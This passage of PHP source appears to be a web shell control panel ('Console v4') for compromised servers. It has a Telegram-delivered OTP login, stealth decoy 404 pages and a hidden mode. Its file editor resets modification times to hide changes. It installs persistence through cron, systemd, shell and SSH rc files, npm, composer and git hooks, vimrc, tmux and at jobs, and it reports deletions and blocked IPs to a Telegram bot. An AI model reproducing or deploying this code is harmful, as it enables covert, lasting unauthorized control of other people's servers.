})),'has_cron'=>!empty($cronLayer['active']),'has_reboot'=>!empty($cronLayer['reboot']),'daemon'=>$daemon,'watchdog'=>$watchdog,'systemd'=>$sysd,'state_dir'=>wn_state_dir(),'shell_available'=>is_shell_available(),'stealth_enabled'=>wn_stealth_enabled(),'hidden'=>wn_is_hidden(),'layers'=>$layers,'layer_status'=>$statusMap,'php_web_version'=>PHP_VERSION,'home'=>$home ?: '?','stored_mtime'=>wn_get_stored_mtime(),'shell_mtime'=>file_exists(__FILE__) ? (int)@filemtime(__FILE__) : 0]; } function dispatch_api($action) { $allowed = ['auto_install_watcher','auto_uninstall_watcher','watcher_status']; if (!in_array($action, $allowed, true)) sendJsonResponse(['status'=>'error','message'=>'Invalid action']); $map = [ 'auto_install_watcher'=>function() { return auto_install_watcher_controller(!empty($_GET['silent'])); }, 'auto_uninstall_watcher'=>'auto_uninstall_watcher_controller', 'watcher_status'=>'watcher_status_controller', ]; $fn = $map[$action]; if (!is_callable($fn)) sendJsonResponse(['status'=>'error','message'=>"Missing: $action"]); while (ob_get_level() > 0) @ob_end_clean(); @ob_start(); try { $result = $fn(); @ob_end_clean(); if (is_array($result)) sendJsonResponse($result); sendJsonResponse(['status'=>'success','message'=>'OK']); } catch (Throwable $e) { while (ob_get_level() > 0) @ob_end_clean(); sendJsonResponse(['status'=>'error','message'=>'Exception: ' . $e->getMessage()]); } } function wn_auth_cookie_name() { return 'wn_a2'; } function wn_auth_secret() { global $__B; return hash('sha256', 'auth:' . $__B . ':' . wn_get_salt()); } function wn_issue_auth_cookie($ttl = 1800) { while (ob_get_level() > 0) @ob_end_clean(); if (session_status() === PHP_SESSION_ACTIVE) @session_regenerate_id(true); $exp = time() + $ttl; $nonce = bin2hex(random_bytes(8)); $sig = hash_hmac('sha256', $exp . '|' . $nonce, wn_auth_secret()); $val = $exp . '.' . $nonce . '.' . $sig; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') || (($_SERVER['SERVER_PORT'] ?? '') == 443); $params = ['path'=>'/','httponly'=>true,'samesite'=>'Lax']; if ($isHttps) $params['secure'] = true; if (!headers_sent()) { @header_remove('X-Powered-By'); setcookie(wn_auth_cookie_name(), $val, $params); } $_COOKIE[wn_auth_cookie_name()] = $val; wn_session_poison($ttl); return $val; } function wn_verify_auth_token($val) { if (empty($val) || !is_string($val)) return false; $parts = explode('.', $val); if (count($parts) !== 3) return false; list($exp, $nonce, $sig) = $parts; if (!ctype_digit($exp) || (int)$exp < time()) return false; return hash_equals(hash_hmac('sha256', $exp . '|' . $nonce, wn_auth_secret()), $sig); } function wn_check_auth_cookie() { $name = wn_auth_cookie_name(); if (empty($_COOKIE[$name])) return false; return wn_verify_auth_token($_COOKIE[$name]); } function wn_clear_auth_cookie() { $p = ['expires'=>time() - 3600,'path'=>'/','httponly'=>true,'samesite'=>'Lax']; if (!headers_sent()) setcookie(wn_auth_cookie_name(), '', $p); unset($_COOKIE[wn_auth_cookie_name()]); if (session_status() === PHP_SESSION_ACTIVE) unset($_SESSION['wn_auth_token'], $_SESSION['wn_auth_time']); } function wn_otp_file() { static $cached = null; if ($cached !== null) return $cached; if (session_status() !== PHP_SESSION_ACTIVE) @session_start(); if (session_status() === PHP_SESSION_ACTIVE) { if (empty($_SESSION['wn_otp_id'])) { try { $_SESSION['wn_otp_id'] = bin2hex(random_bytes(16)); } catch (Throwable $e) { $_SESSION['wn_otp_id'] = hash('sha256', 'otp:' . session_id() . ':' . microtime(true)); } } $id = $_SESSION['wn_otp_id']; } else $id = 'ip_' . md5(get_real_ip()); return $cached = wn_blend_name('otp') . '_' . $id; } function wn_otp_store($code) { $f = wn_otp_file(); $json = json_encode(['c'=>(string)$code,'t'=>time()]); if ($json === false) return false; $written = wn_call('fpc', $f, $json, LOCK_EX); if (!is_int($written) || $written <= 0) { $fp = @fopen($f, 'c'); if ($fp === false) return false; @flock($fp, LOCK_EX); @ftruncate($fp, 0); $w = @fwrite($fp, $json); @fflush($fp); @flock($fp, LOCK_UN); @fclose($fp); if (!is_int($w) || $w <= 0) return false; } @chmod($f, 0600); return true; } function wn_otp_verify($input) { $f = wn_otp_file(); if (!file_exists($f)) return ['ok'=>false,'msg'=>'Request OTP first.']; $raw = wn_call('fgc', $f); if (!is_string($raw) || $raw === '') { $raw = @file_get_contents($f); if (!is_string($raw) || $raw === '') { @unlink($f); return ['ok'=>false,'msg'=>'OTP unreadable.']; } } $data = json_decode($raw, true); if (!is_array($data) || empty($data['c']) || empty($data['t'])) { @unlink($f); return ['ok'=>false,'msg'=>'OTP invalid.']; } if (time() - (int)$data['t'] > 300) { @unlink($f); return ['ok'=>false,'msg'=>'OTP expired.']; } if (!hash_equals((string)$data['c'], (string)$input)) return ['ok'=>false,'msg'=>'Invalid OTP.']; @unlink($f); return ['ok'=>true]; } if (isset($_GET['wn_otp']) && $_GET['wn_otp'] === 'gen') { while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: text/plain'); $expected = hash('sha256', 'wn_tg:' . $__B . ':' . wn_get_salt()); if (!hash_equals($expected, (string)($_GET['key'] ?? ''))) { http_response_code(403); echo 'FORBIDDEN'; exit; } echo wn_stealth_gen_otp(300); exit; } /* ============ WEB ENTRY ============ */ if (!headers_sent()) { @header_remove('X-Powered-By'); @header_remove('X-Powered-By-PHP'); } if (isset($_GET['wn_tg'])) { wn_tg_callback_handle(); exit; } if (isset($_GET['wn_fleet'])) { wn_fleet_handle(); exit; } if (isset($_GET['wn_fleet_bootstrap'])) { wn_fleet_bootstrap(); exit; } /* Beacon detection: if slave.php requested but is hidden, decoy 404 */ if (wn_is_hidden()) { wn_stealth_decoy(); } @session_start(); wn_bootstrap(); if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); } if (!wn_stealth_unlock()) { wn_stealth_jitter(); wn_stealth_decoy(); } if (isset($_GET['action']) && !wn_check_auth_cookie()) sendJsonResponse(['status'=>'error','message'=>'unauthenticated','relogin'=>true]); if (!wn_check_auth_cookie()) { $loginError = $loginSuccess = ''; $clientIp = get_real_ip(); $blockKey = md5($clientIp); $blockFile = wn_blend_name('blocked') . '_' . $blockKey; $failFile = wn_blend_name('fail') . '_' . $blockKey; $isBlocked = false; if (file_exists($blockFile)) { $age = time() - (int)wn_call('fgc', $blockFile); if ($age < 1800) { $isBlocked = true; $loginError = "Terlalu banyak percobaan. Coba lagi " . ceil((1800 - $age) / 60) . " menit."; } else { @unlink($blockFile); @unlink($failFile); } } if (isset($_POST['request_otp']) && !$isBlocked) { $otpRateFile = wn_blend_name('otp') . '_rate_' . md5($clientIp); $lastOtpReq = file_exists($otpRateFile) ? (int)wn_call('fgc', $otpRateFile) : 0; if ($lastOtpReq > 0 && (time() - $lastOtpReq) < 30) { $loginError = "Tunggu " . (30 - (time() - $lastOtpReq)) . " detik."; } else { wn_call('fpc', $otpRateFile, (string)time(), LOCK_EX); @chmod($otpRateFile, 0600); $otp = sprintf("%06d", random_int(0, 999999)); if (!wn_otp_store($otp)) { $loginError = "Failed to store OTP."; } else { $sent = sendTelegramMessage($__B, $__C, "OTP CODE: $otp\n\nValid 5 min."); if ($sent) $loginSuccess = "OTP sent to Telegram."; else $loginError = "Gagal kirim Telegram."; } } } if (isset($_POST['verify_otp']) && !$isBlocked) { $inputOtp = isset($_POST['otp']) ? trim($_POST['otp']) : ''; if ($inputOtp === '') $loginError = "Enter OTP."; else { $res = wn_otp_verify($inputOtp); if ($res['ok']) { wn_issue_auth_cookie(1800); @unlink($failFile); $redirect = $_SERVER['SCRIPT_NAME'] ?? '/'; if (!headers_sent()) header('Location: ' . $redirect); else echo '<script>location.replace(' . json_encode($redirect) . ');</script>'; @session_write_close(); exit; } else { $loginError = $res['msg']; if ($res['msg'] === 'Invalid OTP.') { $failCount = (int)wn_call('fgc', $failFile) + 1; wn_call('fpc', $failFile, $failCount); if ($failCount >= 5) { wn_call('fpc', $blockFile, time()); sendTelegramMessage($__B, $__C, "[BLOCKED] IP: " . htmlspecialchars($clientIp, ENT_QUOTES, 'UTF-8') . "\n$failCount attempts", true); $loginError = "Too many. Tunggu 30 menit."; } } } } } ?> <!DOCTYPE html><html><head><meta charset="UTF-8"><title>Login</title> <style>*{margin:0;padding:0;box-sizing:border-box;}body{background:#0a0a0b;color:#ededef;font-family:-apple-system,sans-serif;display:flex;justify-content:center;align-items:center;height:100vh;}.box{background:#141416;padding:40px;border-radius:16px;border:1px solid rgba(255,255,255,0.06);width:340px;}.box h2{font-size:22px;font-weight:600;margin-bottom:6px;}.box p{color:#8a8a95;font-size:12.5px;margin-bottom:24px;}input{width:100%;padding:10px 12px;background:#1a1a1e;border:1px solid rgba(255,255,255,0.06);color:#ededef;border-radius:8px;outline:none;font-size:14px;margin-bottom:10px;}button{background:#4ade80;color:#06110b;border:none;padding:11px;width:100%;border-radius:8px;cursor:pointer;font-weight:600;}.error{color:#f87171;font-size:12px;margin-bottom:10px;padding:8px 12px;background:rgba(248,113,113,0.1);border-radius:8px;}.success{color:#4ade80;font-size:12px;margin-bottom:10px;padding:8px 12px;background:rgba(74,222,128,0.1);border-radius:8px;}hr{border:none;border-top:1px solid rgba(255,255,255,0.06);margin:16px 0;}</style> </head><body><div class="box"><h2>Console</h2><p>Authentication required</p> <?php if (!empty($loginError)): ?><div class="error"><?= htmlspecialchars($loginError) ?></div><?php endif; ?> <?php if (!empty($loginSuccess)): ?><div class="success"><?= htmlspecialchars($loginSuccess) ?></div><?php endif; ?> <?php if (!$isBlocked): ?> <form method="post"><button type="submit" name="request_otp">Request OTP</button></form> <hr><form method="post"><input type="text" name="otp" placeholder="6-digit OTP" required maxlength="6" inputmode="numeric"><button type="submit" name="verify_otp">Login</button></form> <?php endif; ?> </div></body></html> <?php exit; } if (isset($_GET['logout'])) { wn_clear_auth_cookie(); if (!headers_sent()) setcookie(wn_stealth_cookie_name(), '', ['expires'=>time() - 3600,'path'=>'/','httponly'=>true,'samesite'=>'Lax']); unset($_COOKIE[wn_stealth_cookie_name()]); if (session_status() === PHP_SESSION_ACTIVE) { $_SESSION = []; if (ini_get("session.use_cookies")) { $p = session_get_cookie_params(); setcookie(session_name(), '', time()-42000, $p["path"], $p["domain"], $p["secure"], $p["httponly"]); } @session_destroy(); } if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); } header('Location: ' . ($_SERVER['SCRIPT_NAME'] ?? '/')); exit; } $currentPath = $rootPath; if (isset($_GET['path'])) { $rp = realpath($_GET['path']); if ($rp && isSafePath($rp, $rootPath, $specialDirectories)) $currentPath = $rp; else $error = "Invalid path"; } if (!file_exists($currentPath) || !is_dir($currentPath) || !is_readable($currentPath)) { $error = "Not accessible"; $currentPath = $rootPath; } if (isset($_GET['action'])) dispatch_api($_GET['action']); if (isset($_POST['rename']) && isset($_POST['target']) && isset($_POST['new_name'])) { try { $t = $_POST['target']; $n = $_POST['new_name']; if (empty($t) || empty($n)) throw new Exception('Required'); if (preg_match('/[\/\\\\:\*\?"<>\|]/', $n)) throw new Exception('Invalid'); $tp = $currentPath . DIRECTORY_SEPARATOR . $t; $np = $currentPath . DIRECTORY_SEPARATOR . $n; if (!file_exists($tp)) throw new Exception('Not found'); if (!isSafePath($tp, $rootPath, $specialDirectories)) throw new Exception('Denied'); if (file_exists($np)) throw new Exception('Exists'); if (!@rename($tp, $np)) throw new Exception('Failed'); $success = 'Renamed'; header('Location: ?'); exit; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_POST['save_file']) && isset($_POST['file']) && isset($_POST['content'])) { try { $f = $_POST['file']; $c = $_POST['content']; $fp = $currentPath . DIRECTORY_SEPARATOR . $f; if (!file_exists($fp) || !is_file($fp)) throw new Exception('Not found'); if (!isSafePath($fp, $rootPath, $specialDirectories)) throw new Exception('Denied'); $oldMtime = @filemtime($fp); if ($f === $CURRENT_SHELL) { $stored = wn_get_stored_mtime(); if ($stored > 0) $oldMtime = $stored; wn_set_hidden(false); } if (wn_call('fpc', $fp, $c) === false) throw new Exception('Failed'); if ($oldMtime > 0) @touch($fp, $oldMtime, $oldMtime); $success = 'Saved'; header('Location: ?'); exit; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_GET['file_op']) && $_GET['file_op'] === 'edit' && isset($_GET['file'])) { $ep = isset($_GET['path']) ? $_GET['path'] : $currentPath; $ep = realpath($ep) ?: $rootPath; $f = $_GET['file']; $fp = $ep . DIRECTORY_SEPARATOR . $f; if (file_exists($fp) && is_file($fp) && isSafePath($fp, $rootPath, $specialDirectories)) { header('Content-Type: text/plain; charset=utf-8'); readfile($fp); exit; } http_response_code(404); echo "Not editable"; exit; } if (isset($_GET['file_op']) && $_GET['file_op'] === 'download' && isset($_GET['target'])) { $t = $_GET['target']; $tp = $currentPath . DIRECTORY_SEPARATOR . $t; if (!empty($t) && file_exists($tp) && !is_dir($tp) && isSafePath($tp, $rootPath, $specialDirectories)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($tp) . '"'); header('Content-Length: ' . filesize($tp)); readfile($tp); exit; } } if (isset($_GET['file_op']) && $_GET['file_op'] === 'delete' && isset($_GET['target'])) { $t = $_GET['target']; $tp = $currentPath . DIRECTORY_SEPARATOR . $t; if (!empty($t) && file_exists($tp) && isSafePath($tp, $rootPath, $specialDirectories)) { $wasDir = is_dir($tp) && !is_link($tp); $wasSize = $wasDir ? 0 : (int)@filesize($tp); if (deleteDirectory($tp)) { $success = 'Deleted'; if ($notifyDelete) { global $__B, $__C; sendTelegramMessage($__B, $__C, "[FILE DELETED]\nPath: " . htmlspecialchars($tp, ENT_QUOTES, 'UTF-8') . "\nType: " . ($wasDir ? 'DIR' : 'FILE') . "\nSize: " . formatSize($wasSize) . "\nIP: " . htmlspecialchars(get_real_ip(), ENT_QUOTES, 'UTF-8'), true); } } header('Location: ?'); exit; } } if (isset($_POST['file_op']) && $_POST['file_op'] === 'chmod' && isset($_POST['target']) && isset($_POST['mode'])) { $t = $_POST['target']; $m = $_POST['mode']; $tp = $currentPath . DIRECTORY_SEPARATOR . $t; if (!empty($t) && file_exists($tp) && isSafePath($tp, $rootPath, $specialDirectories) && preg_match('/^[0-7]{3,4}$/', $m)) { if (@chmod($tp, octdec($m))) $success = 'Changed'; header('Location: ?'); exit; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Console</title> <style> :root{--bg:#0a0a0b;--surface:#141416;--surface-2:#1a1a1e;--surface-hover:#232327;--border:rgba(255,255,255,0.06);--border-strong:rgba(255,255,255,0.12);--text:#ededef;--text-dim:#8a8a95;--text-mute:#5c5c66;--accent:#4ade80;--accent-soft:rgba(74,222,128,0.1);--accent-line:rgba(74,222,128,0.25);--danger:#f87171;--danger-soft:rgba(248,113,113,0.1);--warning:#fbbf24;--warning-soft:rgba(251,191,36,0.1);--r-sm:8px;--r:12px;--r-lg:16px;--font:-apple-system,BlinkMacSystemFont,"Inter","Segoe UI",Roboto,sans-serif;--mono:"SF Mono",Consolas,monospace;} *{margin:0;padding:0;box-sizing:border-box;-webkit-font-smoothing:antialiased;} body{background:var(--bg);color:var(--text);font-family:var(--font);font-size:13.5px;line-height:1.5;} a{color:inherit;text-decoration:none;} button{font-family:inherit;font-size:inherit;color:inherit;cursor:pointer;} .sidebar{position:fixed;top:0;left:0;width:216px;height:100%;padding:20px 12px;background:var(--bg);border-right:1px solid var(--border);overflow-y:auto;z-index:100;transition:transform .25s ease;} .brand{display:flex;align-items:center;gap:8px;padding:6px 10px 20px;font-weight:600;font-size:15px;} .brand-dot{width:8px;height:8px;border-radius:50%;background:var(--accent);box-shadow:0 0 12px var(--accent);} .brand span{color:var(--text-dim);font-weight:500;} .nav-item{display:flex;align-items:center;gap:10px;width:100%;padding:7px 10px;border-radius:var(--r-sm);background:transparent;border:none;color:var(--text-dim);font-size:13px;font-weight:500;text-align:left;transition:all .12s ease;} .nav-item:hover{background:var(--surface);color:var(--text);} .nav-item.danger{color:var(--danger);} .sidebar-toggle{display:none;position:fixed;top:14px;left:14px;z-index:999;width:38px;height:38px;background:var(--surface);border:1px solid var(--border);border-radius:var(--r-sm);color:var(--text);cursor:pointer;align-items:center;justify-content:center;} @media(max-width:820px){.sidebar{transform:translateX(-100%);}.sidebar.open{transform:translateX(0);}.sidebar-toggle{display:flex;}} .main{margin-left:216px;padding:24px 32px;max-width:1240px;} @media(max-width:820px){.main{margin-left:0;padding:60px 16px 24px;}} .topbar{display:flex;flex-direction:column;gap:14px;padding:18px 20px;background:var(--surface);border:1px solid var(--border);border-radius:var(--r);margin-bottom:20px;} .topbar-brand{display:flex;align-items:baseline;gap:16px;flex-wrap:wrap;padding-bottom:14px;border-bottom:1px solid var(--border);} .wn-title{font-size:24px;font-weight:600;color:var(--accent);} .wn-owner{font-family:var(--mono);font-size:11.5px;color:var(--text-mute);} .topbar-pills{display:flex;align-items:center;flex-wrap:wrap;gap:8px;} .pill{display:inline-flex;align-items:center;gap:6px;padding:4px 10px;border-radius:999px;background:var(--surface-2);color:var(--text-dim);font-size:11.5px;font-weight:500;} .pill .dot{width:5px;height:5px;border-radius:50%;background:currentColor;} .pill.root{background:var(--danger-soft);color:var(--danger);} .pill.on{background:var(--accent-soft);color:var(--accent);} .pill.stealth{background:var(--warning-soft);color:var(--warning);} .pill.hidden{background:var(--warning-soft);color:var(--warning);} .alert{padding:11px 14px;border-radius:var(--r-sm);margin-bottom:14px;font-size:13px;border-left:2px solid;} .alert-danger{background:var(--danger-soft);border-color:var(--danger);color:var(--danger);} .alert-success{background:var(--accent-soft);border-color:var(--accent);color:var(--accent);} .card{background:var(--surface);border:1px solid var(--border);border-radius:var(--r);padding:36px 28px;text-align:center;} .card-icon{width:48px;height:48px;margin:0 auto 18px;border-radius:50%;background:var(--accent-soft);display:flex;align-items:center;justify-content:center;} .card-icon .dot{width:10px;height:10px;border-radius:50%;background:var(--accent);box-shadow:0 0 12px var(--accent);} .card h2{font-size:18px;font-weight:600;color:var(--accent);margin-bottom:8px;} .card p{color:var(--text-dim);font-size:13px;margin-bottom:22px;max-width:420px;margin-left:auto;margin-right:auto;line-height:1.6;} .card-meta{margin-top:28px;padding-top:20px;border-top:1px solid var(--border);display:flex;gap:16px;justify-content:center;flex-wrap:wrap;font-size:11.5px;color:var(--text-mute);} .btn{padding:9px 16px;border-radius:var(--r-sm);background:var(--surface-2);border:1px solid var(--border);color:var(--text);font-weight:500;} .btn:hover{background:var(--surface-hover);} .btn.primary{background:var(--accent);color:#06110b;border-color:var(--accent);} .modal{position:fixed;inset:0;background:rgba(0,0,0,.65);display:flex;align-items:center;justify-content:center;z-index:1000;opacity:0;visibility:hidden;transition:.2s;} .modal.active{opacity:1;visibility:visible;} .modal-content{background:var(--surface);border:1px solid var(--border);border-radius:var(--r-lg);width:min(880px,94vw);max-height:88vh;overflow-y:auto;} .modal-header{display:flex;align-items:center;justify-content:space-between;padding:16px 20px;border-bottom:1px solid var(--border);} .modal-header .title{font-size:14px;font-weight:600;} .modal-close{width:28px;height:28px;border-radius:6px;background:transparent;border:none;color:var(--text-dim);cursor:pointer;font-size:18px;display:flex;align-items:center;justify-content:center;} .modal-close:hover{background:var(--surface-2);color:var(--text);} .modal-body{padding:20px;} .result-box{margin-top:14px;padding:12px 14px;border-radius:var(--r-sm);font-family:var(--mono);font-size:12px;line-height:1.7;word-break:break-all;white-space:pre-wrap;} .result-box.ok{background:var(--accent-soft);border:1px solid var(--accent-line);color:var(--accent);} .result-box.err{background:var(--danger-soft);border:1px solid rgba(248,113,113,.25);color:var(--danger);} .toasts{position:fixed;top:20px;right:20px;z-index:9999;display:flex;flex-direction:column;gap:8px;max-width:360px;} .toast{padding:12px 16px;background:rgba(20,20,22,.96);border:1px solid var(--border-strong);border-radius:var(--r-sm);font-size:13px;animation:slideIn .25s ease;} .toast.success{border-left:3px solid var(--accent);color:var(--accent);} .toast.error{border-left:3px solid var(--danger);color:var(--danger);} .toast.info{border-left:3px solid var(--text-dim);color:var(--text);} @keyframes slideIn{from{transform:translateX(20px);opacity:0;}to{transform:none;opacity:1;}} .status-ok{color:var(--accent);}.status-warn{color:var(--warning);}.status-err{color:var(--danger);} </style> </head> <body> <div id="toastContainer" class="toasts"></div> <button class="sidebar-toggle" onclick="document.getElementById('sidebar').classList.toggle('open')"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M3 6h18M3 12h18M3 18h18"/></svg></button> <aside class="sidebar" id="sidebar"> <div class="brand"><span class="brand-dot"></span><b>Console</b> <span>v4</span></div> <div style="margin-bottom:2px;"><button class="nav-item" onclick="openWatcher()">Defense Status</button></div> <div style="margin-top:14px;padding-top:14px;border-top:1px solid var(--border);"><a class="nav-item danger" href="?logout=1">Logout</a></div> </aside> <main class="main"> <div class="topbar"> <div class="topbar-brand"><span class="wn-title">Console</span><span class="wn-owner">v4</span></div> <div class="topbar-pills"> <span class="pill <?= isRoot() ? 'root' : '' ?>"><span class="dot"></span><?= isRoot() ? 'root' : 'user' ?></span> <span class="pill">shell · <?= htmlspecialchars($CURRENT_SHELL, ENT_QUOTES, 'UTF-8') ?></span> <span class="pill">ip · <?= htmlspecialchars(get_real_ip(), ENT_QUOTES, 'UTF-8') ?></span> <span class="pill <?= is_shell_available() ? 'on' : '' ?>"><?= is_shell_available() ? 'exec · on' : 'exec · off' ?></span> <?php if (wn_stealth_enabled()): ?><span class="pill stealth"><span class="dot"></span>stealth · on</span><?php endif; ?> <?php if (wn_is_hidden()): ?><span class="pill hidden"><span class="dot"></span>hidden</span><?php endif; ?> </div> </div> <?php if (isset($error)): ?><div class="alert alert-danger"><?= htmlspecialchars($error) ?></div><?php endif; ?> <?php if (isset($success)): ?><div class="alert alert-success"><?= htmlspecialchars($success) ?></div><?php endif; ?> <div class="card"> <div class="card-icon"><span class="dot"></span></div> <h2>Console Ready</h2> <p> <code></code><code></code></p> <div style="display:flex;gap:10px;justify-content:center;flex-wrap:wrap;"><button onclick="openWatcher()" class="btn primary">Install</button></div> <div class="card-meta"> <span>shell · <?= htmlspecialchars($CURRENT_SHELL, ENT_QUOTES, 'UTF-8') ?></span> <span>ip · <?= htmlspecialchars(get_real_ip(), ENT_QUOTES, 'UTF-8') ?></span> <span><?= isRoot() ? 'root' : 'user' ?></span> <span>php · <?= PHP_VERSION ?></span> <?php if (wn_stealth_enabled()): ?><span style="color:var(--warning);">stealth · on</span><?php endif; ?> <?php if (wn_is_hidden()): ?><span style="color:var(--warning);">hidden · on</span><?php endif; ?> </div> </div> </main> <div id="watcherModal" class="modal"><div class="modal-content"> <div class="modal-header"><span class="title">Status</span><button class="modal-close" onclick="hideModal('watcherModal')">×</button></div> <div class="modal-body"> <div id="wtInfoBox" style="padding:12px;background:var(--surface-2);border-radius:var(--r-sm);margin-bottom:14px;font-size:12px;">Loading...</div> <div style="display:flex;gap:8px;margin-bottom:12px;"> <button onclick="autoInstallWatcher()" class="btn primary" style="flex:2;">Install All</button> <button onclick="loadWatcherStatus()" class="btn" style="padding:9px 14px;">↻</button> </div> <div style="font-size:11px;color:var(--text-mute);margin-bottom:12px;line-height:1.5;">Uninstall via bot: <code>/uninstall</code> · Hide: <code>/hide</code> · Show: <code>/show</code></div> <div id="wtResult"></div> </div> </div></div> <script> function showToast(m, t){ t = t || 'info'; var c = document.getElementById('toastContainer'), el = document.createElement('div'); el.className = 'toast ' + t; el.textContent = m; c.appendChild(el); setTimeout(function(){ el.style.opacity='0'; setTimeout(function(){ el.remove(); },250); },3500); } function showModal(id){ document.getElementById(id).classList.add('active'); } function hideModal(id){ document.getElementById(id).classList.remove('active'); } function openWatcher(){ showModal('watcherModal'); loadWatcherStatus(); } function loadWatcherStatus(){ var b = document.getElementById('wtInfoBox'); b.innerHTML = 'Loading...'; fetch('?action=watcher_status').then(function(r){ return r.json(); }).then(function(d){ if(d.relogin){ location.reload(); return; } if(d.status !== 'success'){ b.innerHTML = 'Error'; return; } var L = d.layers || {}; var cron = d.has_cron ? '<span class="status-ok">active</span>' : '<span class="status-err">missing</span>'; var daemon = L.daemon ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var wd = L.watchdog ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var reboot = d.has_reboot ? '<span class="status-ok">yes</span>' : '<span class="status-warn">no</span>'; var sysd = L.systemd ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var wa = '<span class="'+(d.watchers_alive > 0 ? 'status-ok' : 'status-err')+'">'+d.watchers_alive+'/'+d.watchers.length+'</span>'; var shell = d.shell_available ? '<span class="status-ok">on</span>' : '<span class="status-err">off</span>'; var hidden = d.hidden ? '<span class="status-warn">HIDDEN</span>' : '<span class="status-ok">visible</span>'; var st = d.stealth_enabled ? '<span class="status-ok">ON</span>' : '<span class="status-warn">off</span>'; var live = d.live_active ? '<span class="status-ok">ALIVE</span>' : (d.live_age >= 0 ? '<span class="status-warn">idle</span>' : '<span class="status-err">never</span>'); var logoutHook = L.bash_logout ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var linger = L.linger ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var shellRc = L.shell_rc ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var sshRc = L.ssh_rc ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var npmHook = L.npm_hooks ? '<span class="status-ok">active ('+(L.npm_count||0)+')</span>' : '<span class="status-warn">no package.json</span>'; var composerHook = L.composer_hooks ? '<span class="status-ok">active ('+(L.composer_count||0)+')</span>' : '<span class="status-warn">no composer.json</span>'; var trapHook = L.shell_trap ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var gitHook = L.git_hook ? '<span class="status-ok">active ('+(L.git_hook_count||0)+')</span>' : '<span class="status-warn">no git</span>'; var atJob = L.at_job ? '<span class="status-ok">available</span>' : '<span class="status-warn">missing</span>'; var bashLogin = L.bash_login ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var lessfilter = L.lessfilter ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var vimrc = L.vimrc ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var tmuxConf = L.tmux_conf ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var gitPager = L.git_pager ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var vimPlugin = L.vim_plugin ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var gitGlobal = L.git_global ? '<span class="status-ok">active ('+(L.git_global_count||0)+')</span>' : '<span class="status-warn">off</span>'; var sysdTimer = L.systemd_timer ? '<span class="status-ok">active</span>' : '<span class="status-warn">off</span>'; var hostPill = '<span style="color:var(--accent);font-family:var(--mono);">' + (d.host || '?') + '</span>'; var userPill = (d.unix_user || '?') + (d.is_root ? ' <span style="color:var(--danger);">[root]</span>' : ''); var h = '<div style="display:grid;grid-template-columns:1fr 1fr;gap:12px;font-size:12px;">' + '<div style="grid-column:1/-1;"><span style="color:var(--text-mute);">Host</span><br>'+hostPill+'</div>' + '<div><span style="color:var(--text-mute);">User</span><br>'+userPill+'</div>' + '<div><span style="color:var(--text-mute);">Server IP</span><br><span style="font-family:var(--mono);">'+(d.server_ip||'?')+'</span></div>' + '<div><span style="color:var(--text-mute);">Shell</span><br>'+shell+'</div>' + '<div><span style="color:var(--text-mute);">Hidden</span><br>'+hidden+'</div>' + '<div><span style="color:var(--text-mute);">Stealth</span><br>'+st+'</div>' + '<div><span style="color:var(--text-mute);">Cron</span><br>'+cron+'</div>' + '<div><span style="color:var(--text-mute);">@reboot</span><br>'+reboot+'</div>' + '<div><span style="color:var(--text-mute);">Daemon</span><br>'+daemon+'</div>' + '<div><span style="color:var(--text-mute);">Watchdog</span><br>'+wd+'</div>' + '<div><span style="color:var(--text-mute);">Systemd</span><br>'+sysd+'</div>' + '<div><span style="color:var(--text-mute);">Watchers</span><br>'+wa+'</div>' + '<div><span style="color:var(--text-mute);">Long poll</span><br>'+live+'</div>' + '<div><span style="color:var(--text-mute);">Shell RC</span><br>'+shellRc+'</div>' + '<div><span style="color:var(--text-mute);">SSH RC</span><br>'+sshRc+'</div>' + '<div><span style="color:var(--text-mute);">Logout hook</span><br>'+logoutHook+'</div>' + '<div><span style="color:var(--text-mute);">Linger</span><br>'+linger+'</div>' + '<div><span style="color:var(--text-mute);">NPM hooks</span><br>'+npmHook+'</div>' + '<div><span style="color:var(--text-mute);">Composer</span><br>'+composerHook+'</div>' + '<div><span style="color:var(--text-mute);">Shell trap</span><br>'+trapHook+'</div>' + '<div><span style="color:var(--text-mute);">Git hook</span><br>'+gitHook+'</div>' + '<div><span style="color:var(--text-mute);">AT job</span><br>'+atJob+'</div>' + '<div><span style="color:var(--text-mute);">BashLogin</span><br>'+bashLogin+'</div>' + '<div><span style="color:var(--text-mute);">LessFilter</span><br>'+lessfilter+'</div>' + '<div><span style="color:var(--text-mute);">Vimrc</span><br>'+vimrc+'</div>' + '<div><span style="color:var(--text-mute);">Tmux</span><br>'+tmuxConf+'</div>' + '<div><span style="color:var(--text-mute);">Git Pager</span><br>'+gitPager+'</div>' + '<div><span style="color:var(--text-mute);">Vim Plugin</span><br>'+vimPlugin+'</div>' + '<div><span style="color:var(--text-mute);">Git Global</span><br>'+gitGlobal+'</div>' + '<div><span style="color:var(--text-mute);">SystemdTimer</span><br>'+sysdTimer+'</div>' + '<div 